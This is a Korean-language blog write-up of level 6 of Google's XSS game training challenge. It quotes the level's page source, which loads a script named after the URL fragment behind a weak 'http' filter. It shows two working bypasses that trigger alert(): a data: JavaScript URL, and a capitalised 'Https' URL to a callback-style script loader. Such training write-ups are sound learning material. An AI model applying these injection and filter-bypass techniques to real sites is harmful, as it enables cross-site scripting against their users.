Web Hacking/XSS game

[XSS] XSS game level 6

ruming 2021. 2. 22. 11:29

Mission Description

Complex web applications sometimes have the capability to dynamically load JavaScript libraries based on the value of their URL parameters or part of location.hash.

This is very tricky to get right -- allowing user input to influence the URL when loading scripts or other potentially dangerous types of data such as XMLHttpRequest often leads to serious vulnerabilities.

Mission Objective

Find a way to make the application request an external file which will cause it to execute an alert().

 

 

힌트

더보기
  1. See how the value of the location fragment (after #) influences the URL of the loaded script.
  2. Is the security check on the gadget URL really foolproof?
  3. Sometimes when I'm frustrated, I feel like screaming...
  4. If you can't easily host your own evil JS file, see if google.com/jsapi?callback=foo will help you here.

 

우선 #뒤의 부분을 조작하면 화면의 글자가 바뀌는 걸 알 수 있다. Loaded gadget from ~로 바뀐다. #뒤의 값을 가져오는 것 같다. 소스코드를 살펴보자.

 

 

<!doctype html>
<html>
  <head>
    <!-- Internal game scripts/styles, mostly boring stuff -->
    <script src="/static/game-frame.js"></script>
    <link rel="stylesheet" href="/static/game-frame-styles.css" />
 
    <script>
    function setInnerText(element, value) {
      if (element.innerText) {
        element.innerText = value;
      } else {
        element.textContent = value;
      }
    }
 
    function includeGadget(url) {
      var scriptEl = document.createElement('script');
 
      // This will totally prevent us from loading evil URLs!
      if (url.match(/^https?:\/\//)) {
        setInnerText(document.getElementById("log"),
          "Sorry, cannot load a URL containing \"http\".");
        return;
      }
 
      // Load this awesome gadget
      scriptEl.src = url;
 
      // Show log messages
      scriptEl.onload = function() { 
        setInnerText(document.getElementById("log"),  
          "Loaded gadget from " + url);
      }
      scriptEl.onerror = function() { 
        setInnerText(document.getElementById("log"),  
          "Couldn't load gadget from " + url);
      }
 
      document.head.appendChild(scriptEl);
    }
 
    // Take the value after # and use it as the gadget filename.
    function getGadgetName() { 
      return window.location.hash.substr(1) || "/static/gadget.js";
    }
 
    includeGadget(getGadgetName());
 
    // Extra code so that we can communicate with the parent page
    window.addEventListener("message", function(event){
      if (event.source == parent) {
        includeGadget(getGadgetName());
      }
    }, false);
 
    </script>
  </head>
 
  <body id="level6">
    <img src="/static/logos/level6.png">
    <img id="cube" src="/static/level6_cube.png">
    <div id="log">Loading gadget...</div>
  </body>
</html>

getGadgetName 함수는 #뒤의 문자열을 가져온다. includeGadget 함수는 스크립트를 생성하는데 http형태를 필터링한다. includeGadget함수를 호출하고 인자값으로 getGadgetName의 리턴값을 받는다.

 

if (url.match(/^https?:\/\//)) {

http://가 포함되면 load하지 않는다.

 

힌트에서 서버를 이용해 풀 수 있다는 것을 알았지만 Data URL Scheme라는 방법이 있어 사용해보겠다.

data:[자료타입], [데이터] 방식으로 데이터를 url 표현으로 바꿀 수 있다.

참고 : Data URL Scheme

참고 : rfc2397

 

테스트

#뒤에 data:text/javascript,alert();을 입력하면 될 것 같다.

data:text/javascript,alert();

 

공격에 성공했다!

 


http:// 필터링은 Http://, 앞에 공백을 주는 등의 방식으로 우회할 수 있다. 힌트에 나왔던 google.com/jsapi?callback=foo 에서 foo 부분을 alert로 바꾸고 #뒤에 입력해줘도 해결할 수 있다.

자바스크립트의 콜백함수를 이용한 것이다.

참고 : 자바스크립트 callback함수

https://xss-game.appspot.com/level6/frame#Https://www.gstatic.com/charts/loader.js?callback=alert

 

'Web Hacking > XSS game' 카테고리의 다른 글

[XSS] XSS game level 5  (0) 2021.02.14
XSS game level 4  (0) 2021.02.07
[XSS] XSS game level 3  (0) 2021.01.31
[XSS] XSS game Level 2  (0) 2021.01.30
XSS game Level 1  (0) 2021.01.17